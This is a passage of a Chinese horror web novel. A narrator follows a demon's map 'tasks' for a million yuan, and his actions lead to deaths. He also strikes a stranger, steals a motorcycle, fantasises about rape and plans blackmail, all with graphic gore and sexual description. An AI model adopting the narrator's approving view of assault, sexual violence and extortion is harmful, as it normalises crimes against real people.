“啊!”我不敢叫出声,但是我害怕得想要拼命叫出声;我摀住嘴巴,拼命地用头撞山洞。
“喀嘹!”忽然外面一阵细微的声响惊扰了我的自虐。
“什么声音?”我汗毛一竖,我听得清清楚楚,又彷彿幻觉,在梦里响起。
我停下了所有的动作,竖起耳朵听。
 但是外面又一片寂静!
我认真的听,却又拼命地分神,拼命地去想那些可怕的鬼魂!
脑子分心得肝胆俱裂,外面又是喀嚓一声,接着还有一声细微的呻吟声。
“啊!啊!啊!”我吓得心里一阵阵惨叫,浑身冰冷得几乎要死去,汗毛竖立得彷彿要让毛孔都窒息。
但是呻吟声又不见了,好像真的是我的幻觉。
我不由得轻轻挪动到洞口边上,躲在那里,万一有什么脏东西想要进来,我躲在洞口或许有偷袭的可能性。
“哎哟!”这回我听得清清楚楚,是一阵痛苦的呻吟,非常非常痛苦的呻吟。
 是女人的声音。不知道是不是因为在夜晚、在野外、在我充满鬼念头的周围,这女人的呻吟,显得尤其的阴森。
“哎哟!哎哟!”这下子,我听得清清楚楚了,绝对不是幻觉。
是有一个女人在外面痛苦地呻吟,好像很痛的样子。
“难道是一个女人摔伤了,走不回家,在外面呻吟?”我心中暗道,但是却紧紧屏住呼吸,一口气也不敢喘。
外面的女人依旧在呻吟,显得越来越痛,我甚至能够感觉到她几乎痛得扭曲。
“与其这样躲在里面被吓到,还不如出去看个清楚。”我心中涌起了无限的勇气。
 老实说,我是一个很矛盾的人。我非常胆小,非常怕死。
但是与其让我在山洞里面担惊受怕,不知道外面是人是鬼,我还是索性去看个清楚,若是鬼的话,索性死个痛快,也免得在山洞里面受煎熬。
 于是,我蹑手蹑脚爬出了洞口。
越往外爬,我越后悔,想爬回去,又不想爬回去。
我爬出三步,却又退后两步,想龟缩在山洞里面等着天亮!猛一咬牙,却又爬出一步,又退回了两步。
就这样爬出了几米的距离,已经将我所有的胆气消耗得一干二净,我一转身就要拼命转回身去,爬到山洞里面继续担惊受怕。
但是眼前忽然一阵光亮,我睁开眼睛一看,竟然真的是一个女人躺在那里,捂着肚子痛苦地呻吟。
她背对着我,我看不清楚她的脸。
 反正,她疼得很痛苦。
“餵!”我不知道是不是鬼迷心窍,竟然喊了一声死。
 然后,我全身汗毛都竖了起来。
奇怪的是,那个女人竟然依旧躺在那里呻吟,没有回头看我。
好像是她疼得实在不行,充耳不闻了。
“应该真的是一个女人山上砍柴摔倒了,或者是被野兽弄伤了,这下子躺在这里呻吟。”我心中暗道。
 “你怎么了?”我又问了一声。
她依旧没有回答,彷彿痛得连声音都发不出来。
我上前爬了几步,心中竟然涌起了一个恶魔一般的念头。
“这个女人身材不错,这里深山老林,想必我做什么都没有人知道。”这个恶魔的念头顿时充斥了我的脑子,然后身体莫名其妙地发热。
我又缓缓地朝女人爬去,看着她丰满圆滚的臀部。
“餵!”轻轻拍了拍她硕大的屁股,道:“你怎么了?你没事吧!”
女人依旧没有回头,依旧在痛苦地呻吟,我不由得探过头去,想要看她的脸,看她是否漂亮。
 好漂亮的脸!就是有些苍白,有些青,有些眼熟……
她手里捂着肚子还是有些大,是怀过孕的,下身正在流着血……
“啊!啊!啊!”我惊恐地大叫,我拼命地大叫,全身的恐惧彷彿要化成死亡的分子,拼命地从身体里面迸发而出。
那个女人缓缓转过头来,空洞死气的眼睛盯着我,然后微微一笑。
她,便是我今天早上在地铁上撞倒的那个孕妇,那个流产后大出血死去的孕妇,那个生了一个死婴的孕妇。
“啊!啊!啊!”我继续拼命地大叫。
那个女人转过身,又对我微微一笑,然后低头朝怀里望去无比亲暱的一眼。
那是一个浑身还沾着血的婴儿,很小,刚生出来的样子。
没有穿衣衫,身上黏黏的,带着血,身体发黑。
那女人爱怜地血获这个死婴,一边喃喃唱着歌儿,将那婴儿的头按在自己的乳房上。
“啊!”忽然,那个女人一阵悲惨的嘶嚎。
只见到乳房拼命地渗血,接着便是沙沙的撕咬咀嚼声,瞬间那丰满的乳房只剩下了一半。
那个我本来以为死掉的婴儿转过脸来,满口的血肉。他张开嘴巴朝我一笑,露出尖尖的獠牙!
 ……我,不省人事。

 第四章恶魔的任务

“你是谁?”我再次醒来的时候,那个全身发黑的小孩站在我的面前,盯着我。
“我是地下的恶魔,恰巧从你的手上诞生!”那个小孩张开血红的獠牙说道。
我不由地朝四处一看,原来那个女人已经不见了,去地上只剩下一滩血迹。
“她呢?那个女人呢?”我不由得惊骇问道。
“又死了一遍,被我吃了!”那个尖尖撩牙,尖尖耳朵的小孩说道。
“啊!”我顿时飞快地退后数米,恐惧地盯着眼前这个幼小的恶魔。
“你不用害怕,我能够在这个世界上降生,真是多亏了你,所以我不会伤害你的。”小恶魔笑着说道:“当地上一个生命本来可以安全降生,却又因为意外而在没有降生就已经死去的时候,我们恶魔才可以拥有这个名额来到这个世界上,所以这个世界的恶魔是极少极少的。”
“那应该也不少啊!”儘管我害怕,但还是忍不住说道。
“你不懂,那个孕妇本来可以安全生下她的孩子的。这个世界上的恶魔是极少极少,甚至无数年都没有降临过的,不过你不懂什么是意外!”小恶魔道: “那些生活看起来的意外,其实不是意外。无论是张三发生车祸死了,还是李四买彩票发了。这些都是命中注定的,都不是意外。”
“那为什么说我今天撞到那个孕妇是一场意外?”我不由得问道。
“那是很久很久之前的一个因,就开始酿造今天的这个果,那个因是一个意外所以导致了今天的果,也是一个意外。”小恶魔摆摆手道:“这些事情对于你来说太过于深奥了。你不用管这个意外,总之我因为你而来到了这个洩界上。你听说过恶魔的故事吗?”
“听说过,那些恶魔会引诱人类出卖自己的灵魂与他们签约。”我说道。
“放心吧,我不会让你与我签约出卖自己的灵魂,我是因为你而来到这个世界上的,所以我要报答你。”小恶魔笑道。
我顿时精神一振道:“报答我?怎么报答我?是给我一千万,还是给我超能力?”
“我没有金钱给你,也无法给你超能力,準确说是你无法拥有超能力。”小恶魔笑道:“但是,我却能够给你你想要的一切。”
“一切?什么意思?”我顿时兴奋欲狂道:“那好,我现在立到要一百万!”
“可以!”小恶魔道:“这个一百万任务已经启动,你需要立刻去完成!”
“什么?”我不由得不解道:“一百万任务?什么意思?”
“一百万任务是一个任务,只要你完成了,你就能够得到一百万。”小恶魔道。
“还要去完成任务,而且我刚才只是随便说说,未必真的就要一百万。”我不由得解释,以一个恶魔来说,我开口要一百万,胃口实在太小了。
“你已经开口启动了这个任务,就必须完成,否则你将受到惩罚!”小恶魔道。
“什么惩罚?”我头脑一阵发麻。
“活埋死去,然后成为我的晚餐。”小恶魔淡淡道。
“那我还不得不完成?”我颤抖道。
“没错,你必须完成。”小恶魔凭空拿出一件东西递到我的手中。
我拿过来一看,竟然是一个薄如液晶萤幕的东西,上面好像是一幅地图,地图上还有两个点。
一个黄色的箭头,一个绿色的点。
“黄色的点是你,绿色的点是你即将要赶去的地方,上面会提醒你要完成那些事情。”小恶魔道:“你现在要立刻去,在四个小时内赶到那个绿色的点,否则任务失败,你将受到惩罚……任务成功了,你就会得到一百万。”
“可是,我不知道怎么去啊?”我无比焦急害怕道。
“上面有清晰的地图和具体的座标,你第一次用不熟练,以后就会熟练了,无论以什么法子,你会赶到那个绿色的点。只要你移动,这个黄色的点也会跟着你移动,这样你就知道你距离绿色的点还有多远。”小恶魔道:“对于第一次的你来说,时间比较紧迫,你必须赶紧出发了。”
说罢,小恶魔拿出一个秒錶一按。
顿时,我手上的那个液晶萤幕出现了倒计时,一个四个小时的倒计时,一秒一秒飞速地流逝。
“见鬼!”我赶紧盯着液晶萤幕,朝着那绿色的点飞快跑去。
路上我拼命地跑,盯着那个液晶萤幕一样,就好像网路游敌里面的小地图一般。
我是一个黄色的箭头,此时正朝着那个绿色的点跑,虽然我不知道那个绿色的点代表着什么。
处于恐惧和亢奋的我,非常愚蠢地对着那一个绿色的点走直线。遇到两三米的小悬崖,也直接跳了下来,遇到半腰深的池水,也直接游了过去。
只一小时功夫,浑身已经鲜血淋漓,全身都已经湿透。不过竟然一点都不感觉到疲倦和疼痛,此时的我正在预支自己的体力,虽然我不知道这样的代价是什么。
但是一个非常严重的问题展现在我的面前,我已经跑了一个小时了,竟然还没有跑完路程的十分之一,而且还是直线的距离。
也就是说,就算我跑得再快,也不可能在三个小时内跑完这段距离。按照这样跑下去,绝对会任务失败。
就在我不知所措的时候,手里的液晶萤幕忽然出现了一个小蓝点,而且距离我很近。
我不知道这是什么意思,不过玩过许多游戏的我知道。很多游戏在完成任务的时候,都会出现一个分支任务,虽然不见得要完成,但是完成了后对主线任务是很有好处的。
于是,我朝着那个蓝色的点跑去,在一条小路的拐弯处,我找到了那个蓝点了。
一个中年男子正拼命地想要将他的摩托车从烂泥田推上来,想必是因为他的车技很差,将摩托车骑到田里面了。
此时这片田,早已经被蹂躏得不成模样了。
“难道,是让我抢他的摩托车作为交通工具?”我心中暗道。
肯定是了,否则这么远的距离,我怎么可能在三个小时后赶到。
“要帮忙吗?”我偷偷拿起一块石头放在背后,朝那个中年男子走去。
“滚开!”那个中年男子狗屁教养都没有,骂了我一句,又用力去推他的摩托车,什么也没有看到。
我偷偷走上前去,盯着他低下的头颅,心中不停地颤抖。
老实说,我从来没有行过兇,我坏固然坏,胆子却很小。
“砰!”我心里尚在害怕犹豫间,手里的石头狠狠砸了过去、朝着那个中年男子的后脑勺砸了过去。
“啊!”那个男子一阵惨呼,接着飞快摀住后脑,想要转过头来。
但是他整个身体好像很沉,拼命地想转过头来看我,转到中间却重重摔了下去。
我跑上前去,将他已经推到路上的摩托车扶起,一腿跨了上去,飞快朝那个绿色点所在的方向飞驰而去。
“那个倒霉鬼不知道会不会死?他不知道看见了我没有?明天警察会不会沿着摩托车的车轮印追过来?我要不要回去将他藏起来?”骑在摩托车上,我心情极乱,好像什么都在想,但是好像什么都没有想清楚。
“先保住小命要紧!”忽然,心中一凛。
若是三个小时没赶到那个绿色的点,小命就没了,而且还是那种最惨的死法。还是先将眼前的小命保住,至于明天的事情,明天再说吧。
况且,这个任务完成了可能还会有一百万。
当然,我并不是非常相信有这样的好事。我相信那个恶魔曾让人惨死,却不见得它会给人甚么好处。
谢天谢地,那个绿色的点并不在城市里面,而是在外面另一个小镇上。
眼瞧着我已经距离那个绿色的点越来越近了,不过我不能骑车了,因为眼前是一池塘,好像是鱼塘。
我走遍了整个鱼塘的周围,整个鱼塘的周围一个人都没有,不知道那个绿色的点指的是什么?
我连忙拿出液晶萤幕,看到那个秒錶倒数上,距离四个小时的限制时间还有三分钟。
而我现在就站在那个绿色的点上,也没见有什么啊?
我现在站在一块大青石板上……这块石板一探进池塘水中,在鱼塘边的地上,是方便人走近鱼塘看清楚水中情况的。
 石板不怎么大,有一点点滑。我还得小心翼翼的,况且这天这么黑。
难道这个绿色的点便是这块大石板吗?那我应该怎么办?
接着液晶萤幕忽然多了一个小红点,就在边上。
我连忙找去,站在那个小红点的位置,发现那是两片香蕉皮。
“这是什么意思?这个小红点是香蕉皮,一百万和香蕉皮有什么关係?那个大石板和香蕉皮又有什么关係?”我心中不由得纳闷。
不过立刻想起来,那个青石板那么滑,天这么黑,若是放上香蕉皮岂不是更滑?
我这边想着,忽然响起一阵刺耳惊人的嘀嘀声音。
 虽然不很响,但是很让人心悸。
一看,原来是从液晶萤幕上传来的。低头一看,猛地吓了一跳,原来这是时间快到的警示。
 倒数计时,竟然只有九秒了。
顾及不这么多了,瞎猫去碰碰死耗子。
我赶紧捡起香蕉皮,飞快跑到青石板边上,将香蕉皮放在上面。
“嘀!”液晶萤幕响了最后一声,我连忙闭上眼睛,因为这种情形让我想起那些定时炸弹即将爆炸的感觉。
周围一片安静,低头看那萤幕,只看到那个绿色的点消失了,然后出现四个字。
 “任务完成!”
“就这么完成了?”我心中无比郁闷,那我的一百万呢?
我正呆滞间,忽然听到不远处传来一阵急促的跑步声。
我赶紧缩到一边的草丛中躲了起来,黑暗中看不清楚,不过瞧那身影,彷彿跑过来的是一个女人,还是一个年轻的女人,浑身曲线窈窕。
我心中一热,一个罪恶的念头升起。
我在这里将这个女孩强奸了,只怕是人不知鬼不觉的。
我正火热中,忽然听到哎呀的一声惨叫,然后是扑通一声,那个女孩直接摔进了鱼塘中。
原来天又黑,她又急,刚刚踩到那青石板,就踩到了我放的香蕉皮上,直接摔进了鱼塘里面。
接着,她猛地在水里面挣扎,拼命地想要自己爬起来,也不喊救命,彷彿她刚刚工来做的也是见不得人的事情。
而且刚刚我也彷彿听到她摔进鱼塘的时候,还有瓶子摔碎的声音,然后一股恶臭散发出来,彷彿是农药的气味。
这个女人是带着农药来的,好像是要在鱼塘里面投毒。
 我就在草丛盯着她挣扎。她不会游泳,这鱼塘不深,但是地下都是淤泥,她一摔下去,顿时陷在里面。
开始还挣扎得厉害,后来越来越无力,最后几乎无声了。
这水里面有农药,她连着喝了几口水,已经中毒了。
虽然我看不见,但是可以清晰地感觉到那边的挣扎越来越微弱,生命的气息也越来越微弱。
“难道接下来的任务,就是要让我去救她?”我不由得疑惑,不过这鱼塘里面现在都是农药,我可不怎么敢碰。
但是这种感觉很可怕,一个人在你面前渐渐死去的感觉,而且还是一个年轻苗条的女孩,甚至是因为我而死的。
就在我头脑一团乱麻的时候,忽然远处传来一阵急促的脚步声,还有一个男人在说话。
“我刚刚听到这边传来响声,可能是有人来偷鱼了,快去抓住他!”
一会儿工夫,黑暗中跑来三四个高大男人的身影,手里都拿着家伙冲到鱼塘面前。
刷的一个手电照在鱼塘上,一个男人大声吼道:“敢偷我疤子的鱼,不想活了?”
“疤子哥,疤子哥。不是偷鱼的,不是偷鱼的,是小妮,是小妮!”另外一个男人用手电筒照在一个苍白的小脸,此时正在水里沉浮。
“啊!”那个刚才兇恶的疤子一声大叫,猛地跳进水里将那个女孩抄起,用力朝地上的人扔去。
岸上的人连忙接住,那个疤子一边惊恐地大叫:“妮子,妮子,你怎么了?”
手忙脚乱间,竟然爬不上鱼塘,其他人连忙将他扯了上来。
那个疤子又朝那女孩扑来,因为几个大男人挡着,我看不清楚那女孩现在的情形。
“不好,疤子哥,有农药的味道,小妮只怕是中毒了。”
疤子用力拍着那女孩的脸,仍旧不见醒来,顿时便嚎啕大哭。
“不好了,不好了,疤子哥,鱼全部被毒死了,鱼全部死了!!”另外一个细声的男人尖叫道。
“啪!”疤子顿时一个耳光搧过去,吼道:“去你娘的鱼,就是你娘全死了又怎么样?我的妮子啊!”
“疤子哥别急,妮子还有脉,现在赶紧送医院还有得救。”
“对对!”那个疤子性子很急,立刻将那女孩抱起,朝医院的方向狂奔。
“疤子哥,疤子哥,那今天晚上国道边上的鱼庄谁去照看?”一个男人远远问道。
“去你娘的渔庄,去你娘的鱼庄!你爱看你自己去看。”疤子一边骂,一边哭着跑去医院了。

 第五章诡异因果循环

“真是奇怪,这个妮子好像是那疤子的女儿,瞧那样子是疼得不得了的。但是那女孩竟然拿着农药要将自己父亲养的鱼全部毒死。”一会儿工夫,人就全走光了,说是一会儿还要回来,处理这些鱼的后事,派其中一人去国道边上的鱼庄看店。
瞧这模样,好像这些人全部是那疤子的手下人。那疤子在国道边上开了一家鱼庄,也就是饭店,招待的都是经过国道的那些司机。
“嘀!”忽然,液晶萤幕又响起一声。
我拿出一看,只见到液晶萤幕上又出现了一个绿点,不过这次距离得不远。
然后又开始倒计时,这次只有半个小时。
我不敢骑摩托车,害怕引起了那些人的注意。而且瞧着距离也不怎么远,就用两条腿朝那个绿色的点跑去。
果然不是很远,二十多分钟我就跑到了那个绿点了。
那个绿点竟然就是那些人说的那个鱼庄,名字叫疤子鱼庄,想必就是刚才那个疤子开的。
轻轻摸了摸口袋,没有想到这么一大阵折腾后,身上的那一百多块钱竟然还在。
这下心中有了胆量,踏步走进了这家鱼庄。
里头生意还不错,摆放的十来张桌子,坐满了大半。不过有七、八个都是装扮火辣的女人,无论是穿着小衣短裤,或者穿着裙子的,通通都是露出大截的白大腿,裸着深深的乳沟,紧身的内衣用力将那白乳勒得鼓起。
这些便都是卖身的小姐了,专门在这些国道旁的宾馆饭店里面拉生意。
一般走国道线的都是专门开长途车的职业司机,这种司机中不少人都会去嫖,放鬆自己一直紧绷疲倦的神经。
所以,这些小姐在这里出现,也一点都不奇怪。
见到我进来后,这些小姐瞟来一眼,用非常露骨的眼神瞧了我全身上下,本能地抛来一记媚眼后,便没有多做理会。
她们自然一眼可以看出,哪些人可能是他们的恩客。
像我这样狼狈的情形,就算口袋里面有钱,也未必有心思嫖妓。
这里头的装修还可以,但是也不怎么考究,反而有些俗气和艳丽。
刚刚坐下一会儿,便有一个打扮火辣的女孩上来让我点菜。
我接过粗糙的菜单,这里面的东西还真的一点都不便宜。我本来想叫一盘炒饭了事的,但是发现这个点菜的女孩有几分明艳,若是点了份炒饭,岂不是让人看不起,觉得我没钱。
于是,头脑发热的我,心里算计着钱,点了百来块的菜,临了还要了一瓶啤酒。
百多块虽然不算怎么样阔绰,但是也不算太寒酸了。我瞧见姑娘收回菜单后,朝我抿嘴轻轻一媚笑,那双手差点没有朝她用力翘起的屁股捏一把。
就在我点菜的时候,外面传来一阵巨大的轰鸣声,是那种载重量相当大的货车煞车时特有的声音。
接着,便听到一粗嗓男子大声吼道:“疤子,老子又来给你送钱来了!”
说话时间,一个高大的汉子便大跨步走了进来。
顿时,那些正在吃饭的小姐,还有刚刚给我点菜的小女孩同时眼睛一亮,朝门口热切望去。顾盼间,竟然弄得自己风倩极盛。
而那个给我点菜的小姑娘,竟然专门跑了出去将他接了来。
这个跑长途的货车司机想必是这里的常客,不但是这家饭馆的常客,也是那群小姐的常客。
所以他进来后,这些小姐与饭馆的人热情非常,惹得我也一阵子不痛快。
这个货车司机虽然长得不算太英俊,但是身材雄壮,四方脸也很有男子气概。那群小姐也自然愿意接这样的客人。
这货车司机也不用菜单,熟悉地点了几样不便宜的菜。
“至于酒水照旧你家自烧的白酒二两半。”司机最后吩咐了一句,然后便开始应付那些娇声豪气的小姐们。
我听得下身勃起得厉害,竟然有了一此尿意;找来服务员问了厕所在哪,便直接朝厕所跑去。
这里的厕所也真够简陋,好歹还比较乾净。不过厕所不远处就挨着库房,这家饭店可真不讲究。
“小灵,你在干嘛呢?”厕所外面传来一阵男人的声音,这声音我刚刚在鱼塘边上还听过,是疤子其中一个手下之一。因为疤子要送女儿去医院,所以他被指派来鱼庄看管一晚上。
“给李雄倒酒啊!”这女孩的声音便是刚刚给我点菜的那姑娘。
“那怎么往里面掺水啊?”这男人不快道。
“常老闆都是这样吩咐的啊,一斤掺四两。”那女孩惊讶道。
“算了,今天我在这里,就不掺了。”这个男人还有些眼里面揉不下沙子。
“恩,那好!”女孩也不计较这几两酒,没有掺水便端了出去。
“真是奸商,一斤酒里面竟然掺了四两水。”我心中骂道,又尿了几下,暗道:“还好我是啤酒不能掺水。”
接着朝自己的尿望去一眼,暗道:“总不会掺尿吧!这颜色可差不多。”
末了,自己都觉得自己噁心,拼命摇头不想,将家伙放回裤裆,拉好裤子走了出去。
“结帐!”两个声音同时响起,一个是我的,另外一个便是那司机李雄的。
今天他喝的酒没有掺水,所以此时有些面红耳赤,连眼珠子都有些红了,可见酒量真是糟糕透了。
“一百六十七。”那个小姑娘甜甜的声音响起,我从口袋里面摸钱。
用力数了数,竟然只有一百二十块钱,差了整整快五十块。
“会不会算错了?”我面红耳赤问道。
那小女孩笑得顿时有些勉强,又重新报帐算了一遍,而且声音还很大,我顿时恨不得钻进地底下。
这骚娘们,故意那么大声音,分明想要我出丑。
她自然没有算错,算错的是刚刚点菜时候的我。那个时候偷偷摸摸看她胸部,不小心便算错了钱。
吃一顿饭区区一百多块钱,竟然没钱给,这脸真的是丢尽了。
“今天花钱厉害,没想到口袋里面就剩下一百二十块钱了,你看能不能通融一下?日后我肯定经常光顾这里,下次就把缺的钱补上。”我陪着笑脸道。
谁知那女孩脸色一拉道:“不行?下回您会来吗?”
这群人眼睛尖得很,一眼就能瞧出我不是开车的,不是开车的也自然不会跑那么远的路来这里吃饭。
就在我无计可施间,旁边李雄一边掏钱包一边骂道:“你这小妮子怎么这么不给人脸面,这位哥们的饭钱我给了!”说罢抽了四张百元大钞递给那姑娘。
那女孩也不客气,伸手收过那四百块钱,嗔骂李雄一句,道:“就你大方。”
说罢,冷眼朝我瞥来一眼,尽是鄙夷。
我分外受不了这屋子里面所有人的目光,敷衍朝李雄说了一声谢谢,便匆匆走出门。
“真是不知道好歹,雄哥的一百多块钱,算是打水漂了。”一个小姐不忿道,接着幽怨朝李雄望来一眼道:“给他都还不如光顾人家,今天怎么都不让你走,非要留你上了我的床不可。”
“今天不行,今天不行。我这车货赶得不得了,片刻也不能歇。”李雄站起身,恋恋不捨地朝其中屁股最大的一个女人望去一眼,那双大手顺着屁股沟连着鼓起的阴户,重重捏了一阵,惹得那女子一阵娇嗔后,豪爽道:“这桌子我也请了。”
“真是个傻屌!”我在外面不屑骂道,盯着我那个液晶萤幕,发现刚刚走进疤子鱼庄后便提示任务完成,就没有新任务了,此时依旧没有新任务。
在路边一黑暗处坐了下来,一直盯着液晶萤幕看。
一会儿工夫,李雄稍稍有点蹒跚走了出来,上了车子。
一阵轰鸣声后,那货车便猛地窜了出去,害得我在后面吃了一阵灰。
“开车还喝酒,还假大方,活该出车祸撞死你。我心中暗暗诅咒着,就一直坐在一梁树下等新任务。”
“该不会那恶魔在耍我吧,明明是给我一百万的任务,却偏偏让我抢人家摩托车,在石板上放香蕉皮,害得人家小姑娘摔进鱼塘吞了一肚子有农药的水。现在又让我进鱼庄丢脸,是不是故意玩我的!那些恶魔专门喜欢玩人的,这些任务哪件和一百万有关啊?”我心中暗骂道。
“啊!”接着我一阵痛呼,只觉得胸前一阵剧痛,掀开衣服一瞧。在不远处的路灯照射下,我胸口正在飞快的腐烂,瞬间便鲜血淋漓,露出了肋骨,还有里面的五脏六腑,痛得我几乎背过气去。
这肯定是那恶魔的处罚,我心里骂它也知道。
“我不敢了,我不敢了。”我痛得死去活来,连忙拼命求饶。
顿时,胸口止住了腐烂,伤口开始渐渐越合,两三分钟后便完好如初。
我吓得浑身冰凉,连想事情都不敢想。
“滴!”手中液晶萤幕忽然一阵响,我全身猛地一颤,连忙拿起一看。
顿时见到,萤幕中多了一个绿点,就在正前面不远处,当然也不近。
 然后,萤幕又出现了倒计时。竟然只有十五分钟,我连忙折回到鱼塘边上,将摩托车骑来,朝那绿点的方向奔驰而去。
“不会吧!”在接近那绿点的时候,我便闻到了一股强烈刺鼻的味道,远处天空还有火光。
拐了一个路口,顿时见到前面几十米处,两辆大货车正熊熊燃烧。
望着沖天的火光,我不敢往前,但是看着液晶萤幕上的倒数,又不敢不往前。
我咬了咬牙,骑着摩托车冲了上去。
万幸,绿色的点不在正在燃烧的货车上,否则我的任务只怕是完不成了,那大火非烧死人不可。
不过绿点距离大火也不远,我靠近的时候,只觉得眉毛都要被烧焦时,终于到了那个绿点。
由于我是盯着液晶萤幕走路的,只要小心别撞进火堆里,便也没怎么看路。
代表自己的黄色小箭头和那绿点重合的时候,我只觉得脚下一跟跆,原来踩在一东西上,差点摔倒,不由得低头一看。
“啊!啊!”头皮一阵发麻,我发出惊恐的大叫。
地上是一具血肉模糊的尸体,脑袋被一根钢筋穿过后脑从一眼睛插出。
一脸扭曲,眼珠爆出,死不瞑目,正是之前帮我结帐的李雄。
不知道他为什么没有死在车里,而是死在距离车有五六米距离的路上,死的时候还保持拼命爬的姿势。
想来货车发生车祸的时候他并没有死,拼命地爬出来想要逃出,此时油箱被烧爆炸,一根钢筋激射而出,刺穿了他的脑袋。
 远处,一阵警笛响起。我双腿发软,呆立不动。
 接着,飞快朝旁边的树林窜去。
在恐惧中,我度过了无眠的一夜。
次日一早,液晶显示屏便吵醒了迷糊中的我。
上面又出现了一个绿点,距离我这里很远,可能有一百多公里。而任务完成的时间是两个半小时。
我骑上摩托车,飞快朝绿色的点赶去。
在我身后,出事的国道路段此时已经清理完毕,李雄的尸体想必已经在太平间。
一个多小时后,我来到了一个不大的县城。那个绿点还不在县城里面,而是在靠近郊区的地方。
站在一个社区的门口,这显然是一个新社区,里面的房子都是新的,不知道恶魔让我来这里做什么。
这里是小县城,所以一般社区并没有保安看门,我很顺利便走了进去。
朝着绿点所在的方向走去,走进了三号楼。
接下来,我纳闷了,不知道该怎么做了。因为我不知道那个绿色的点到底是在一楼,还是在二楼或者是其他层,因为这幢楼足足有七层。
而且这个点很显然是在人家房屋里面,难不成要每一层都敲门进去查,这样不被警察抓起来才怪。
就在此时,社区外面走来了几个人,中间一个年轻的少妇被几个人拥着,哭得凄惨地走了进来。
我做贼心虚,连忙找到了一个角落藏了起来。
只听到哭声越来越清晰,那个女人哭得实在凄切,彷彿死了男人一般。
“儿媳啊,放心吧!大雄不在了,以后我就是你亲娘,以后爹娘死死护着你啊!”这个说话的老太太虽然哭声没有那么大,但是听来却是更加地断肠。
 大雄?我稍稍一呆,莫非这个少妇便是那个司机李雄的妻子?而这个老太太便是李雄的亲娘。
我心中微微一搐,连忙拼命摇头,将这些念头甩了出去。
“火化了好,一了百了!”老太太的声音已经嘶哑得如同一滩死水,接着又多了几分怜悯道:“儿媳啊,这几日娘就不回去了,娘陪着你过啊!”
“不用娘,我就要一个人过!我听说人死了之后,如果心有牵挂就会回魂看他所牵挂的人,这几日我就要一个人待在家里,我看他到底会不会来!”说罢,少妇又是悲痛又是委屈地大哭起来,好像那个李雄不怎么对得起她的感觉。
不过也确实是,李雄开车在外,拈花惹草得厉害。
不过这个少妇声音娇媚,就算凄切的哭,也带着勾人的味道,我倒是真想探出头去看清楚她的容貌。
几人一直走到了楼下,少妇道:“娘,你们回去吧!我想回去躺在床上去睡觉,我什么也不想去做,什么也不想去想!公公还在病床上,您去照顾他吧!”
“你叫我怎么放心让你一人待在家里哦!”那老太太说着又哭出声音。
经过了一段时间的坚持与推辞后,老太太一行人终于离开了这个社区。
 接着,少妇又哭哭啼啼上了楼。
上面液晶萤幕上的这个点,只怕便是眼前这个少妇了,我远远地跟在后面。
望着少妇走上楼梯的背影,细腰圆臀的,摇曳生姿,实在有些风情。
 她住在二楼。
等着她进门后,我本来想贴着门听里面动静,但是那样太容易被发现了。虽然此时大多人都去上班了,可是万一跑出来一个人,见到我正在这里贴门缝,只怕立刻便报警抓我。
于是,我绕到房子后面,趁着没什么人注意,还有那些绿化树的遮掩下,爬上了那个少妇家的后阳台。
轻轻推开阳台的门,果然没有锁。房间里面一个人都没有,只有浴室里面沙沙的洗澡声。
那个少妇刚刚从火葬场出来,跑去洗澡了。
我本来想钻到床底下,但是床压根就没有床底,是实心的。
无奈,只有飞快找了一个大衣柜,钻了进去,而且是挑放冬衣的那个大衣柜。
因为少妇正在洗澡,只怕一会儿要来衣柜里面找衣衫。
果然一会儿后,少妇便从浴室里面出来了,竟然还一边哼着小曲。
我心中一阵惊讶:她刚刚死了丈夫,怎么就哼小曲了?刚刚还在下面哭得要死不能活的。
可惜,我将大衣柜的门关得有些紧,所以看不见她此时的情景。
不过一个身材很好的少妇从浴室里面出来,轻轻披着一条大毛巾,一边走路一边擦头髮,走路间,大腿间春光尽现,怎么想怎么过瘾。
她歌唱天赋显然一般,一首曲子刚刚哼到一半就走调了,她自己便也不哼了,又换了一首曲子哼。
“大姑娘美,大姑娘浪,大姑娘走进了男人帐……”听着她用稍稍沙哑的声音唱着变了歌词的东北小曲,我下身不由得涌起一阵邪火。
“唉!”那个骚女人躺在了床上,彷彿让自己躺得最舒服,然后风情万种地叹了一口气道:“李雄啊,你怎么就这么死了呢?”
“你怎么就这么死了呢?”接着,她又说了一遍,说得有些凄婉。
“难道这娘们对李雄是有感情的,刚刚唱小曲,只是因为精神刺激过度?”我不田得暗暗懊疑。
“我都还没有计画周详该怎么让你去死,你怎么就死了呢?”接着,这个骚女人的话,顿时让我毛骨悚然。
不过,我好像有种本能,觉得这个女人接下来的话会很让人吃惊。所以我无声无息地按下了手机录音键。
“我本来想在你车上动手脚,谁知道你对车子比女人还要熟悉,稍稍有点动静就知道哪里的毛病,都能修好了!”女人接着又自言自语道:“本来想在你的饭菜里面下毒,但是这样的投毒案太简单了,你被毒死了,第一个查的就是我。那到时候,那三三百万人寿保险赔偿金也到不了我手上。所以我是左思右想,右思左想,怎么能够让你死掉,却不会有人怀疑到我的头上,我可以安安稳稳地得到了三百万呢!”
 我顿时连心脏都停止了跳动!
我终于知道,这个一百万任务,是找谁去领了!就是眼前这个骚娘们。
我知道她想要暗害自己丈夫去得到了三百万的秘密后,就利用这个秘密威胁她。她领到了三百万后,我便敲诈她一百万。
 而且,我手头还有录音做证据。我要她一百万,她不可能不答应。否则,只要我撕破脸皮,她便一分也得不到。
 此时的我,心中真是一阵狂喜。
原来,这个恶魔真的是万能的,真的是可以帮助实现我的愿望。
不过他帮我完成愿望的方式,和想像中完全不一样。
 它让我去製造一场意外!在鱼塘的青石板上放香蕉皮,这样那个小女孩就会摔进鱼塘。
小女孩摔进鱼塘,这样她的父亲疤子就必须带她去医院,不能去管自己的鱼庄,于是,只有让一个比较厚道的手下去管鱼庄。
鱼庄的酒都是掺了水的,这个厚道的手下看不过,不许服务员掺水。
李雄每次都喝二两半掺水的酒,所以头脑有点晕,却不醉。
那天喝了没有掺水的二两半酒后,醉了,晕得很。然后开上大货车,出车祸,死了!
这样,李雄妻子的三百万到手了,而我的一百万也到手了。
 不是抢劫,不是偷窃!是很安全到手的一百万!整个过程,我不用负任何的法律责任。
我一阵狂喜后,却是一种虚脱的害怕,怕这个恶魔的恐怖。
在随意一个微小的细节上製造一个很小的意外,便改变了所有的事情,达到了所有的目的。
一个香蕉皮,就帮助我得到了一百万。当然,还有一条人命,或许不止一条!
就这样,我脑子里面乱哄哄,极其兴奋,极其害怕,极其冰冷地想着乱七八糟的事情。

 第六章儿时的诱惑

猛然间眼前一亮,面前顿时站着一个赤裸裸的女人。她打开了大衣柜的门,正要找衣服穿。
